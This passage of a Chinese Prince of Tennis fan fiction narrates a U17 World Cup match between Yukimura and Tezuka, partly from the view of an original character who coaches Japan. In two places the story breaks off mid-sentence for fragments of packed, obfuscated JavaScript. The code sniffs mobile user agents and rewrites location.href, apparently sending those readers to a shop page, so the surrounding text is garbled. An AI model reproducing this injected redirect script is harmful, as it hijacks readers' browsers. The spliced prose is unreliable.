超越他?同样也没有人提起过这一可能。 这场比赛,真正诠释了何为“顶峰相遇”。 但赛场上的两人此刻是怎么想的呢。 他们很清楚地知道,在既定的宿命里,他们本该各自输掉全国大赛决胜赛的那场比赛。他本达到不了百战百胜无败仗,他手肘的伤本该更加严重。 而一切的缘起缘灭,斩断宿命,都是因为一个人。 因为她,他提早领悟了天衣无缝之极限。 因为她,他提早破解了天衣无缝之极限。 这场比赛,从一开始就已偏离了宿命的轨道,只管顺着洪流与罡风向前冲刺,无论结局通向何方。 幸村精市站在网前,屈着身,一下下地颠着手中的黄色小球,一片寂静中,只余小球与硬地的相击声。 “啪。” “啪。” “啪。” 对场的手冢呈进攻型姿态,双手握拍,紧盯着对场的动作,蓄势待发。 电光火石间,幸村将小球抛至空中,随即屈身跳起向着对角底线发出了极为凌厉的一击高速球! 很快,手冢国光一个反手回击将小球击回至对场,然而下一球依然击向反方向,左利手在一开始就陷入了困境,幸村精市的攻势前所未有的猛烈! “15-0” “30-0” “40-0” 机会球出现,幸村高高跳起,在空中毫不犹豫地一记扣杀—— “Game日本,1-0!”小球在左边飞速弹起,手冢未能接到这一球。 坐在教练席上的七海只是浅笑着。她知道,他已经破除了最后一丝心上残余的阴霾。现在的幸村精市,才是真正的他,意气风发的他,锐不可当的他。 昨夜的泪,是宣泄,也只为宣泄,流到最后,剩下的便只有畅快。 德国队的选手席边,少年们惊异地讨论着方才那几球。 QP洞察了一切:“国光,他虽说是回击,但一直被那个日本少年压制着打。” “和表演赛时相比,他的锐气似乎又更加鲜明外泄了。”击破德国队旗帜的那一球,他们至今铭记,这个少年的性格与他的外表截然相反。 博格神情严肃地做出了点评:“他就像是再次脱胎换骨了一样。” 来到了手冢国光的发球局。 同样的颠球扣击,小球击至中线,却被对手毫不留情地回击至方才同样的位置——底线对角,手冢国光未能接到这一球,日本队再次得分! “0-15!” 日本队的选手席边,少年们一阵欢呼。“噢噢噢——从手冢手中发球得分了!” 接下来是极其激烈的对拉,两边分毫不让,大石秀一郎看到现在,终于意识到了一个问题。 “手冢,为什么不用手冢领域?” 不二看得一清二楚:“恐怕不是不用,而是,手冢领域被封印了,所以无法使用。” 七海看着场上发生的一切,心中有几分明悟。那天被赤也拉着去德国队的赛场看到那两个人在顶楼的比赛,那时,手冢领域就已被景吾破除,恐怕这一招也是他交给他的。 而眼下,幸村精市能够流畅地切换左右手挥拍的原因她更是一清二楚。 在金井综合病院的康复中心,在U17合宿营地的健身房里,他从未停止过康复训练。黑部和拓植为他撰写的那份康复训练计划中,锻炼身体平衡性的部分早已包含了对左右手和上下肢的要求。 他曾是暴风雪中艰难前行的旅人,他的身体曾是他的负担,可如今已成为了他的武器。 那就是,打出左右毫无偏差的精准球——“蜃景之镜”。 “Game 日本,2-0!” 日本队,破发了! 破发的对象是,那个手冢国光!! 日本队选手席,讨论再次爆发。迹部景吾笑得极其嚣张直呼有趣,白石藏之介只是将信任的目光投向己方选手,木手,丸井......几乎所有中学生议论纷纷。 “幸村!手冢的强悍之处就在于他拥有的一颗不为任何事所动摇的心!绝不会显示出慌乱和软弱!”真田一如既往地严肃叮嘱场上的少年。 听着身后的动乱,平等院凤凰戏谑道;“中学生代表,全员高举打倒手冢的旗帜了吗。” 随即又想到了什么,他用余光瞥了坐在身边的少女一眼,她看起来并没有那么兴奋,只是沉肃着张脸。 “二阶堂,你该不会心疼了。”他不冷不热地问了句。 七海轻轻地摇了摇头:“不,我很清楚我的位置。坐在这里,作为日本队的教练,我只希望日本队赢。” 平等院颇有些诧异地挑了挑眉,数天前表演赛时她还难掩心酸,没想到现在却有了这样的觉悟。她的下一句话又令他的视线幽深了几分。 “平等院,我和你站在一边。” “我只是......我只是太清楚他的实力如何,所以现在暂时的胜利并没法让我放松罢了。” 她的话很快得到了证实,仅在话音刚落没多久后,对面的赛场上围绕着手冢便爆发出了极其绚烂的绿光,将整片球场笼罩在充斥着荧绿光点的绿霭中。 手冢国光终于使出来了——天衣无缝之极限! “手冢的天衣无缝,爆发出的气场一次比一次强大啊!”白石藏之介望着这片绿光感叹道。 “第三次了。”木手永四郎冷声道。“全国大赛一次,合宿时一次,今天是第三次,确实一次比一次强。” “我不懂!再使出天衣无缝之极限还有意义吗?幸村部长早就破解了!”切原赤也疯狂挠头。 “当然有。天衣无缝能够大幅提高使用者的各项能力,现在不用都被破发,手冢,他是不得不用。”乾贞治不知何时出现在了切原身后,吓得小海带原地弹起。 “赤也,再好好看一次吧,看看幸村是如何破解天衣无缝的。”柳莲二也出现在了他身后。 “我知道,我会好好看着的,柳学长。” 德国队那边,塞弗里德没忍住又开始对日本队冷嘲热讽:“切!一个练不成矜持之光的家伙,瞬间就会被国光秒杀吧!” 贝尔蒂却驳回了塞弗里德的话,他早已收集到相关的信息。 “塞弗里德,你说错了。日本队的那个少年,早在去年日本的全国大赛上就打败了拥有矜持之光的选手。” 塞弗里德心态瞬间崩塌:“真的假的!那国光还用矜持之光干嘛!岂不是要继续输!” 同一时间,网前,两人的对话硝烟四溅。 手冢国光肃声:“在全国大赛上与越前比赛后,你好像发生了很多事。” 幸村精市眉眼和缓,瞳孔中却并无笑意:“呵呵......彼此彼此吧,手冢?” “幸村,希望今天能与你尽情一战。” “理应如此。手冢,我还要谢谢你的放手才是。”幸村精市的嘴角微微扬起。 手冢国光听到最后一句话,面色又冷峻了几分,薄唇紧抿。 “我不会放手。” “是吗?很巧,我也一样。” 双方回到点位,比赛继续。 然而,接下来的一局,不知为何,幸村精市并没有使出全国大赛时破解天衣无缝的办法。 “Game德国,1-2!” 日本队立时自乱阵脚。 “可恶,手冢部长为什么要妨碍日本队取胜!”崛尾愤怒大吼着。 河村隆忙解释:“手冢为了成为职业选手,做好了一切准备,才只身前往德国。” “博格好像说过,想要走上职业选手之路,作为前提条件就是要在U17世界杯上不断取胜。”菊丸不知是哪里得来的消息。 桃城却依然陷入迷惑中,“这场比赛,我到底该为谁声援啊?” “当然是日本了笨蛋!” “你说什么!太冷酷无情了你这个蝮蛇!” 桃城武与海堂薰旁若无人地杵在台阶上争吵起来,七海听见耳后的纷争果断起身,将腿上的外套搭在椅背上,她大踏步走过去,直到站定在两人面前。 “桃城,海堂,这里是比赛现场,观赛礼仪是什么不清楚吗!” “现在,立刻,回到你们自己的位置上去。” 少女冷着脸训斥着,两人的气焰霎时间灭了一大半。 “是......二阶堂学姐。” 她这才放缓语气,视线转向回到位置坐下的两人以及应援团,语重心长道: “为谁应援都没有关系。” “只是每个人站的位置不一样,立场也不同。国光他选择了德国队,那么他除了为自己而战,还要为他身后的团队、赞助商、粉丝而战,不辜负他们,才是不辜负自己。就像越前选择了美国队,他也有自己要走的路。” “富士山上流下的一股雪水,无论汇入哪片湖泊,流水只是流水本身,他从未变过。桃城,崛尾,你们能明白吗?” 起初是沉默,接着,沉默被打破。 “二阶堂学姐......”桃城武怔愣了片刻,“我好像明白了......” 见少年们似有所悟,七海欣慰地笑了笑,顺便回应了菊丸的话。 “至于菊丸说的,是事实。我作为德国队的顾问很清楚,这次签约,对国光的要求是——全战全胜。” “全战全胜?!那岂不是如果手冢部长输了......”桃城张大了嘴。 七海干脆道:“输了,他也会从头开始。当他选择了走上这条道路的时候,就已经做好了觉悟。你们作为他曾经的部员,更该理解尊重他的选择才是。国光,他一旦坚定地选择了一条路就绝不会放弃。” “那,二阶堂学姐你呢?”桃城仰头无措地问道。听到这句问话,旁边的人也竖起了耳朵。 “我的身份是日本队教练,所以现在,我只为日本队的胜利。” 不再与面前神色各异的少年们多言,七海转身回到了教练席上。 赛场上,幸村精市已从惊骇中回过神来。 刚才......刚才,他似乎回到了过去,又不是那个他所经历过的过去,而是,她口中所说的“过去”。 使用零感网球将自己的五感主动剥夺的一瞬,他如走马灯般亲身体验到了,那个曾经据说属于他的宿命里发生的一幕幕。 全国大赛的赛场上,越前龙马身上爆发出刺目的绿光,紧接着,他被那个孩子的天衣无缝之极限完全压制。 每一个球他都来不及捕捉,接不到,打不回,完全感知不到赛场上发生了什么事,他越是急切,结果却越是事与愿违。 “Game 青学越前,4-4!” “打网球,有在享受乐趣吗?” 他的瞳孔震颤着,他第一次萌生了几近绝望的情绪,从心底不断地翻滚上涌,真田弦一郎在场边声嘶力竭地喊着他的名字,可他的回击依然疲乏无力。 最后一记武士抽击,网球被击向球网的细线上割成两半落在他的左右两边。 他输掉了比赛,立海大三连胜中断...... 似乎,这确实是属于他的结局。冥冥中有一道声音告诉他“这才是属于你的命运。” 他几乎要沉浸在被天衣无缝压制的苦闷与溃败中,余光却瞥见对场的教练席中没有她,只有龙崎教练。 只那刹那间,一道闪电直钻进脑中劈开了他心中的迷惘!他彻底清醒过来。 不,那不是他和她的故事! 宿命,早已被他斩断! 场上比分骤变! “Game 日本,2-2!” “Game 日本,3-2!” 高中生们第一次见识到幸村精市的零感网球,议论纷纷。 “通过自己主动放弃五感,只将打网球时必要的感觉提高至极致吗?真是了不得的家伙啊。”鬼十次郎沉声道。 “没错......这就是幸村君应对天衣无缝的策略。” “Game 日本,5-3!” 即将到达局末点,幸村精市突然伸了个懒腰,露出了从未有过的清爽笑意。 “啊——彻底清爽了!” “幸村,他从没露出过那样神清气爽的表情......”丸井文太心绪激荡,身体无法克制地发颤,他太为他高兴了。 “发生了什么?刚才幸村还是一副震惊的模样。” 仁王雅治却突然回想起了许多个月前,幸村精市和她在立海大的夜色下的那场球,那时,他跪在她面前听到她的话语后露出的惊骇神色和方才如出一辙。 “真相是假”,他又回想起了海原祭舞会后的那个夜晚,那番宿命论。 为什么他不直接击破天衣无缝之极限,到底幸村刚才看到了什么? 一个答案逐渐在脑海中变得清晰可辨。他侧头看向观众席上的柳生比吕士,仅一眼对视,两人都猜到了对方心中所想。 “幸村,他或许又突破了一重障碍。” 最后一球,幸村精市利用蜃景之镜制造假动作,日本队率先拿下第一盘! “Game 日本,6-3!” 盘中休息。幸村精市回到选手座位上喝着水,目光移向她时,毫不意外地观察到她的视线并不一直在他身上,也分给了那个人。他或许是有些在意的,却也没有过分在意,她坐在日本队的教练席上,为他应援就已经说明了一切。 她曾度过短暂而孤苦的一生,又来到这里,倘若将数年感情轻易放下,那反而不是她。 她,他们都将信任托付给了他,这场比赛的胜利,只会属于他! 七海难以自控地将视线移向对场的一角,那道坐在位置上擦着汗,陷入沉思的黑色身影。 过去的三年,她殚精竭虑都只为了他的胜利,可只是短短两个月过去,她站在日本队的立场只能盼着他败。 她骗了平等院,她不止是心疼,而是心痛。 她怎么可能不心痛。 过往的时光中,这两个人并未有赛场上的交集,她因此可以自然地同时支持着这两个人,这两个对她而言意义非凡的人。 而现在,一切伪饰被尽数剥离,裸露在外的,是竞技体育残酷而疼痛的真相。 精神力辐散至全场,无数道嘈杂声音批判着,议论着,挤进她的大脑。既然无法为他应援,那么至少,那些让人痛苦、无奈的声音也让她听到吧。 “那个人是日本人吧?没问题吗?” “你是白痴吗?连Kunimitsu都不知道?他是职业选手布尔库的对攻搭档!” “真的吗?那他还是中学生吧?” “比起这个,这个日本人到底可不可以信赖啊!” “败得这么难看,当初就不该吸纳他来德国队!” ...... 七海死死地咬住下唇,深紫色瞳孔中的流光飞速地转动着,她好想一个神降过去直接让这些人闭嘴,她也确实这么做了,赛场上的质疑声瞬间消失。 手冢国光本垂头看着地面,注意到身后的非议突然消失,心随意转间蓦然抬起头,看向了对场从比赛伊始就一直在为日本队,为他的对手加油的那个人。 原来她也在看着他。 他们望进彼此的眼睛,他看到了她眼底满载的心痛,原本紧绷着的弦突然放松下来——她在关心他。 迹部景吾站在选手席,冷眼旁观着这三个人之间的视线流动,面无表情。 “与曾经的同伴交战果然很痛苦吧?”雷特鲁出现在了手冢国光身后。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306570|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“心一定很痛吧......但是要想成为职业选手,就必须经得起考验。” 他拿起球拍走向赛场,雷特鲁眼中只余一道孤高的背影。 “我明白,教练。” 她和胜利都在道路的尽头,他明白。 他将义无反顾地向高处攀登,凭向上的剑戟冲破困住他的尘山,直到站在至高之处。 第二盘开始。 幸村精市凌冽的攻势依旧,恍惚间,似有利剑出鞘的声音响彻震荡在每个人的耳畔。即使手冢国光使出零式下坠球,攻击也完全被那道红白色的身影看透看穿! “Game日本,2-0!” “好!——” 日本队的场地上,再次破发对方发球局的少年尽情挥洒着心中的兴奋,他高举双臂,双拳紧握,仿佛要将胜利的喜悦和激动一次性宣泄出来,从动作到声音,这才是他真正肆意的模样! 掌握了蜃景之镜的幸村精市,他的意气与锐势一次又一次将对方压倒! “Game日本,3-0!” “他就是神之子,幸村精市!” “日本!日本!日本!日本!” “这场比赛能赢!”切原赤也激动道。 赛场上,为日本队的呼声一波高过一波,仿佛所有人都已认定,日本队将取得这场比赛的胜利。 但有一个曾败给手冢国光的人发声了,他们是多年的朋友,他同样很了解他。 “不管现在情况如何,只要对手是手冢,都不容大意。不然我们就会败北,知道了吗,赤也!” 同一时刻,后场传来大石秀一郎为手冢担忧的惊呼声,七海循着声源再次将视线移向对场—— 手冢国光坐在位置上低垂着头,不住地喘着气,双肘撑在膝盖上,双手垂落着,发梢、腿上、手臂上,汗水大颗大颗地往下流淌。 茶发凌乱地遮蔽住了他金边眼镜下的表情,仿佛他已与周围环境隔绝,或者说,被困住。 那样的姿态,甚至可以称得上有些——颓丧。 七海听到了对场西格蒙德的怒吼声。 “你到底在干什么,国光!如果你在这场比赛中失败的话,赞助商说了......” 博格不耐烦地堵住了西格蒙德未尽之言:“现在还在比赛中,西格蒙德!你能否不要给选手造成多余的压力?” “但是——”西格蒙德硬生生止住了。 “而且......现在国光的表情,是他来到德国后最棒的表情。”博格的脸上竟然隐隐浮现出一丝笑意。 少年缓缓侧过头,那是一张面对强者、面对挑战瞳孔中暗含激越的脸。 她勾起了唇角。 手冢国光,这四个字意味着什么,她太清楚。每个人的心中都有盏灯,弱者随风即灭,强者经风不熄。 他绝不会在此熄灭。 他,他们,都是永不熄灭的烛火,照亮着自己,也照亮了追随在他们身后许许多多少年的路。 双方选手上场,比赛继续。 天衣无缝之极限再困不住对场的幸村精市,手冢国光终于使出了他的领域绝技,手冢魅影。 七彩的粒子在少年的身周盘旋,他的脚下,强劲的紫红色气旋不断变幻着流动的轨迹,带起一阵阵飞扬的尘沙。 幸村精市望着对场的紫红色气旋边凌厉地依靠蜃景之镜回击着每一个球,边回忆起了一些往事。 关于他和她的往事。 全国大赛时,她跪坐在场边痛哭不止的模样,合宿营地那场伪双部之战,她坐在场边面色苍白的模样,他知道“手冢魅影”这个招式的特殊意义,对她而言。 所以他此刻,更要亲手打破! 抱歉,手冢!不论你如何将球打出场外,施加旋转,结果和手冢领域都是相同的!我的蜃景之镜,依然可以封印手冢魅影! 赛场上惊呼阵阵,“无法将对手的击球打出场外!他破解了手冢魅影!” “幸村能赢!” “日本!日本!日本!” 手冢国光聆听着与他无关的应援声,同样回忆起了一些或近或远的过去。 他想他应当感谢她。那天,在德国职网协会顶楼,她所使出的天衣无缝并领域技能,他没有看错,是四向回旋的特殊领域,将他的手冢魅影压制得死死的。 他突然意识到,原来一颗小球上,可以附加的不止一个方向的旋转。而他所拥有的手牌,向内,是手冢领域,向外,是手冢魅影......内外,表里...... 再将回忆拉远,作为青学网球部部长,为了网球部和同伴的胜利,他曾一次次不顾手肘的伤痛,不顾一个人痛彻心扉的劝阻使出他的领域技能。 可是早有人告诉过他一件事,在青学的赛场上,在全国大赛前的那个阴天,在那场突如其来的暴雨中。 【“国光,责任不需要也不应该成为你一个人的一切!” “是为了享受快乐也好,夺取胜利也罢,挑战自我也好,承担责任也罢,” “一旦你能够做到靠自己支撑起自己的欲望和情绪,胜利和荣誉会自然而然向你奔来。所以,请你不要再把自己困在那句话里了。” “学会为自己而战吧,手冢国光。” “成为自己的支柱吧,手冢国光。”】 胜利与荣誉会自然而然向他奔来。 他从来都相信她的话,她的“预言”,也包括此时、此刻。 他要向队伍,向教练,向支持他的观众,向赞助商,向她,向自己,在这片赛场上证明他的进化! 比赛再度进入白热化! 赛场上的比分紧咬不下,一阵轻风吹过,吹落了迹部景吾脸颊上的一滴冷汗。 他突然阴沉着脸一字一句地开口: “你们发现了吗。” “不知从何时起,手冢在那个位置上,就不曾动过一步!” 将视线聚焦过去,德国队的赛场上,围绕着手冢国光的右脚,细碎的沙砾留下的划痕在脚步的推移下形成了一个弧度优美的圆圈。 霎时间,所有人都被这一个骇人听闻的事实钉在了原地,一股凉意从脚底直冲天灵盖,鸡皮疙瘩在少年们裸露的皮肤上窜起连成一片。 那分明——是手冢领域! 可是手冢国光使出的不是手冢魅影吗?! 这到底是为什么,又意味着什么?! 惊疑,震撼,欣喜,恐惧,不同的情绪交织盘旋在众人心中,少年们的脸上难掩惊骇之色。 七海猛地从教练席上站起,即使腿上的外套落地了也丝毫未觉,她的视线紧盯着赛场上发生的一切,声音剧烈地颤抖着: “平等院,你看见了吗......” 平等院凤凰仍保持着双手抱臂的姿势,坐在位置上神色凝重。 “嗯。” “那就是......”她的喉咙上下滚动了一番,“那就是我们一直在思考的......至高领域!” 原来如此!难怪她每看到至高领域这四个字时,想到的总是在德国职网协会顶楼的那一幕,国光和博格的拉练,那时的手冢国光已经能够熟练切换手冢领域和手冢魅影。 如果说,有一个词比起切换更进一步,那大概是—— 融合。 他将手冢领域和手冢魅影融合,彻底合二为一了! QP站在场边,平时温和无波的脸上难得泄露出一丝震惊。 “国光他,当正常反击回去的时候,手冢魅影会将球弹到球场外。如果说为了防住手冢魅影而反手回击的话——作为手冢领域会将自己的发球拉到近旁,制造出表里如一的复合旋转。” “那是将手冢领域和手冢魅影合为一体,而成为的——” “至高领域!!” 赛场上,围绕着黑衣少年刮起了一圈又一圈激烈的罡风,他站在气旋激起的龙卷风中,面色沉静地回击着一个又一个对场击来的球。 “Game德国,6-3!”德国队拿下第二盘! “比分1-1,决胜局开始!” 身后,大石秀一郎的喝彩声脱口而出,平等院凤凰转过头黑着脸,咬牙切齿地怒斥:“你到底在为哪边声援!” “秀一郎,他不是在为德国队声援,他只是在为他声援......”她用只有自己能听见的微弱声音为大石秀一郎辩驳着。 他和她都太了解,走到今天这一步,手冢国光到底耗费了多少心血,多少时间,背负了多少责任与孤独。 德国的冬天很冷,夜晚黑得很早,他的身影穿行在空无一人的街头巷尾,从未停下脚步。 比起场上的比赛,七海想到了一件更为恐怖的事,她坐了下来,右手揪起少年的衣袖,平等院侧过头,发现她正以一种极其凌厉悚然的目光盯着他看。 “平等院......或许,那天我说的话,一语成谶了......” “那天,我说博格要走向至高的至高,我现在知道,至高的至高是什么了。” 她突然感到胸口传来异样,她这才想起来,她此刻还解封着绝对主宰,还处于被窥视的状态。 赶忙封印的后一秒,揪着衣袖的手缓缓松开,她冷声开口: “是漩涡的洗礼,和,至高领域的结合......” 128.第 128 章 “是漩涡的洗礼,和,至高领域的结合......” 平等院凤凰注意到她稍有发白的面色,瞳孔骤然缩紧,“二阶堂,你怎么了!” 七海语气平静:“我没事。” 注视着他,她转移开话题:“平等院,我的精神力与你的并不相融,你大概也感受到了,那条路的不稳定。” “所以阿摩罗识大约只够你使用一小段时间,在那个状态下,你应当和我一样,能够做到感悟网球本质,无惧一切精神力攻击和体力消耗,回击一切来球。” “最后一场比赛,你一定要看好使用的时机,留下时间应对博格的终极至高绝技。” 平等院神色复杂,沉默了半晌,他才终于开口:“我知道。” 此刻,在长椅上修整完毕的手冢国光和幸村精市两人也终于再次上场。 第三盘决胜赛开始! 甫一开场,手冢国光便使出了他的零式发球,然而谁都没能意料到,接下来,他发出了一个又一个零式发球,仅靠零式发球就拿下了自己的发球局! “Game德国,1-0!” 日本队的中学生们望着这一幕,不约而同地意识到了一个事实—— “看来,他手腕上的负担已经消失了。” 而这一幕,对于德国队的少年们来说则是有些熟悉的。 “这不就是七海和国光在顶楼上的那场比赛吗!”塞弗里德灵光一闪,回想起了这熟悉的感觉来自于哪里。 那是场令德国队少年们震撼又有些不理解的比赛。 面色苍白却没有漏下一球的少女,她身周神秘的蓝色光点和附加了奇异回旋的领域技能,以及只反复使用领域技能和零式发球的少年。 还有两盘均是6-0的惨烈比分。 俾斯麦点了点头:“只不过,结果完全不一样就是了。”他们的顾问,比场上的任何一个选手都强,他早就意识到了这一点。 另一边看着比赛的雷特鲁笑容和煦:“通往职业选手之路的台阶,国光他通过这场比赛,确实已经踏上去了。”在他看来,这场比赛已无悬念。 博格面色冷肃,他却有不一样的观点:“教练,比赛还没结束。幸村,他是个不打完最后一球绝不会放弃的男人,他一定会想尽办法挽回不利的局势。” 七海紧盯着己方赛场上幸村精市奋力回击的身影,再度回想起全国大赛那天,她下意识攥紧了腿上的外套。 精市,你是斩断宿命的勇士,你是抵达黎明彼岸的飞行员,你一定要赢啊! 幸村精市想到了很多。 他回想起在美国等待手术时读的《夜间飞行》中的一段话。 “经过了长达一年的斗争以后,里维埃终于赢得了这场战斗。有的人说,他的胜利是因为他的“信仰”。其他人说,那是因为他的坚定,和他像熊一般强有力的脚步。而对他自己来说,他胜利的原因要简单很多,因为他选择的这条路不过是趋势所在。” “只有不停地前进,才是唯一的真理。” 他又回想起了很多过往的记忆碎片,一幕幕,一句句。有他对自己说的,也有别人对他说的。 【“如果没有网球,我就什么都没有了。网球就是我自己。”】 【“我,对大家承诺过,也对一个人承诺过。” “这场比赛,我必须要赢。” “天衣无缝,那我就将它撕开!”】 【“二阶堂,我推荐幸村。”】 【“幸村,别辜负我们的期望,啊恩?”】 【“我相信你,无论何时。”】 【“幸村精市,去迎接你的黎明吧。”】 夜间选择黎明的人,黎明为他选择自由的风。 这场比赛幸村精市承载了许许多多的信任与期待,此刻他又仿佛穿上了立海大的土黄色制服,站在未知的风暴中,他的外套猎猎作响。 他不会就此放弃!他曾许下承诺,就算没有天衣无缝,就算不用放弃网球,他也要给赤也,给那些一直给予他力量的人,给她,也证明给自己看! “还没结束!” “还没结束!” “还没结束!” “Game德国,4-0!” 4-0又怎么样! 【“只要永远保持着这样的信念,即使是如西西弗斯一般永无止境地追逐,也不遗憾。保有信念的人,即使从巅峰坠落,也会重回顶峰。” “这样的决心,才有可能战胜宿命。”】 他要在她面前再一次战胜宿命,夺取未来给她看! 赛场上,手冢国光周身环绕的气旋宛如盔甲一般!而对场的幸村精市,他身周空无一物,却拥有一颗如利剑般锐利且坚不可摧的强大之心! 一场不知何时才能结束的拉力赛仍在继续。两人一次次挥拍,一次次回击打出凌厉的一球,每一次挥拍都发出震耳欲聋的"砰"声。 他们全身心地投入进这场激烈的对抗之中,白线之内呼啸而过的球迹像是一道道闪电,迸发出令人心悸的力量。两道身影在球场上来回穿梭,奔跑如飞。 下一瞬,异变突起! 盔甲,被利剑穿过! 对场上,手冢国光手中的球拍突然脱手,球拍霎那间被甩飞砸到球网上—— “手冢的球拍脱手了?!” “15-0!” 大石秀一郎早已紧张得满脸冒汗:“难道是五感被剥夺了吗?” “不......是用天衣无缝夺回了五感!” 幸村精市走上网球,将砸落在地的球拍捡起递了过去,嘴角浮起一个冷冽的笑容;“手冢,看来你终于出现了运动障碍......” 然而下一球,手冢国光又将五感夺回,剥夺与夺回在赛场上反复发生,比分再次陷入焦灼。 “15-15!” “30-15!” “来吧!接下来才是一决胜负的时刻!”幸村精市握拳怒喝,锋芒毕露。他的心脏猛烈地跳动着,每一下都像要从胸膛里蹦出来。强烈的斗志和求胜的决心在他体内燃烧,他仿佛能听见血液的沸腾声。 “30-30!” 不管多少次!不管多少次! 只要还站在这个赛场上一秒,他就绝对不会放弃!成为西西弗斯,永无止境地追逐胜利!一球,又一球! 观众席,选手席,裁判席无人不为着这场比赛屏气凝神,几乎快忘了呼吸。 德国队的选手们也为幸村精市的永不言弃折服着。 连俾斯麦也忍不住感叹:“他对胜利的执着真令人折服啊!” 幸村精市用他的零感网球令矜持之光无效,再不失时机地夺走对手的五感。手冢国光却再次使用矜持之光夺回五感并加以反击,他们这样对峙打算要持续到什么时候? 没有人知道这个答案,似乎这场比赛伊始的那一点星星之火已经将整片荒原点燃,越是被战斗的罡风吹拂,越是燃烧得更加旺盛,越是势不可挡! “幸村,这次比赛的胜者是你!因为,你给潮湿的导火线点燃了火。”真田弦一郎的身侧,切原赤也双手握拳,目不转睛,瞳孔中名为战意的火焰熊熊燃烧着。 【你的幸村部长会告诉你,教你明白,到底打网球,是为了什么,意味着什么。】 【赤也,直到打完最后一球为止,都要将一切深深地烙印在自己眼中。】 他想,他似乎明白了,到底打网球意味着什么,他该追求的网球之路要走向何方。 此刻,终于,终于迎来了赛末点—— 七海将幸村精市的外套叠好,放在长椅上,站了起来。 这两个人,她一直知道,从上辈子到这辈子,她就一直知道,他们何其相似。 手冢国光,这个名字曾经与青学的支柱划上等号。 他身上曾经背负着带领青学获得全国大赛优胜的重担,无数人站在他身后,为他无畏痛苦坚定前行的身影所感染,他是投入湖水中的石子,所到之处总能掀起阵阵涟漪。 他也从未辜负那群少年们的期待。 信念有时候就是如此神奇,当大多数人朝着一个方向前进时,它就不远了。 如今的他,手肘上的伤病已彻底痊愈,过往存在压抑在心底的焦虑、急切、不安、彷徨早已在一次次打出属于他的那些绝技的那一刻烟消云散。 他是坚定的,亦是孤高的。他从不去听身后那些囫囵不清的风声碎语,从选择走上这条路以来,质疑也好,侮辱也罢,批判也好,否定也罢,全都在胜利之下被击碎罢! 幸村精市又何尝不是呢? 他是立海大的领导者,亦是立海大的最强者。王者立海大的实力从来毋庸置疑,即使最终未能取得三连胜,又有谁敢轻视他们。 然而世间的事往往如此,喜忧掺半,他同样被宿命裹挟着,猝不及防间坠入浓雾弥漫的黑暗中。 好在,再长的黑夜也会迎来黎明。如今的他也一样,站在阳光璀璨的彼岸,不再受着病痛的折磨,不需再为那一纸未知的答案煎熬等待。 他亦是坚定的,永不服输的,不惧失败的,不惧宿命的,勇敢而执着的爱和坚定追求胜利的信念便是他给这颗黄色小球的所有答案。 而这场比赛,成就了一路走过艰辛路程两人之间的奇妙共鸣,他们是滔滔不绝的流水互相推动着对方的成长与进化,是在一球又一球地不知不觉间萌生的强者之间的惺惺相惜。 “平分!” 手冢国光不知为何打出了一个挂网球,趴倒在对场的幸村精市嘴角却浮起了浅笑: “你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13321070|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚才看到球触网的影像了吧......没错吧?” “那是从第二回合第六场比赛中0:30开始,到第八场的40:15,还有......”手冢国光将比赛的全部击球轨迹如数家珍。 幸村精市拿起地上的球拍,汗水密布他的脸颊,他缓缓开口: . . “手冢。” . . “我要夺取你的未来!” . . 同一时刻,手冢国光的耳畔突然传来了玻璃碎裂的清脆声,他的眼中一瞬间如走马灯般闪过无数纷乱动人却被砸出道道裂纹的画面—— 那是一张张裱在相框里的照片—— 他站在温布尔登的赛场等待颁奖; 他捧着大满贯的奖杯,在漫天金纸下挥拳微笑; 她穿着德国队的制服站在他身边巧笑倩兮; 他们在楚格峰顶的晨曦中紧紧相拥...... 一切的一切, 支离破碎。 他的心被狠狠一撞,霎时间几乎失去了思考的能力,下一瞬,他回过神来再次收紧所有心绪和肌肉。 他不会让这一切发生! 赛场上,幸村精市一次又一次识破手冢国光的球路,瞄准一切薄弱处,夺取了他得分的可能,那是一柄锋芒毕露的利剑,势如破竹般切进对手的防线,毫不留情。 比分再次被改写! “Game 日本,2-5!” “Game 日本,3-5!” “Game 日本,4-5!” “Game 日本,5-5!” 神之子,他赶上来了!怒涛汹涌地赶上来了!!! 那张总是柔和或是冷然的俊美面孔,此刻爆发出了高昂至极的15岁少年应有的意气,他高声呼喝着!兴奋,激昂,那些过往不曾表现出来的情绪在这一刻毫无掩饰地展露! “他说不定真的会再次引发奇迹!!” 对面赛场上高呼着“Japan!Japan!Japan!”,而身后则是疯狂地为着德国队和自己应援的声音。手冢国光在长椅上坐下,瞬息间冷静下来。 身后的塞弗里德已然陷入疯狂中:“国光,你不是为了走上职业选手之路才来到德国的吗!你绝对不能输给其他的日本人啊!!” 雷特鲁站到少年身后展露出了一个温和的笑容,他拍了拍少年的肩膀,眼中写满了欣慰与赞许—— “国光,当初,为了你自己,你就是说着这样的话来到了德国。但是事实却并非如此,对吧?” “看来你已经察觉到了,一旦成为职业选手就要背负很多。为了国家,为了赞助商,为了不辜负众多粉丝的期待,绝对不能输,这就是职业选手。” 【国光,德国队能迎来像你这样优秀的选手,令我深感荣幸,也为你感到自豪。背负着那些期许去战斗吧,去迎接属于你的胜利。然后,成为真正的职业选手。】 手冢国光缓缓起身向赛场走去,再次回头时他的脸上已写满了坚定,他的声音铿锵有力,沉着而冷肃,带着一往无前的决心。 他说: . . “教练,我去改变未来。” . . 两道身影再次站在网前对峙,异口同声—— 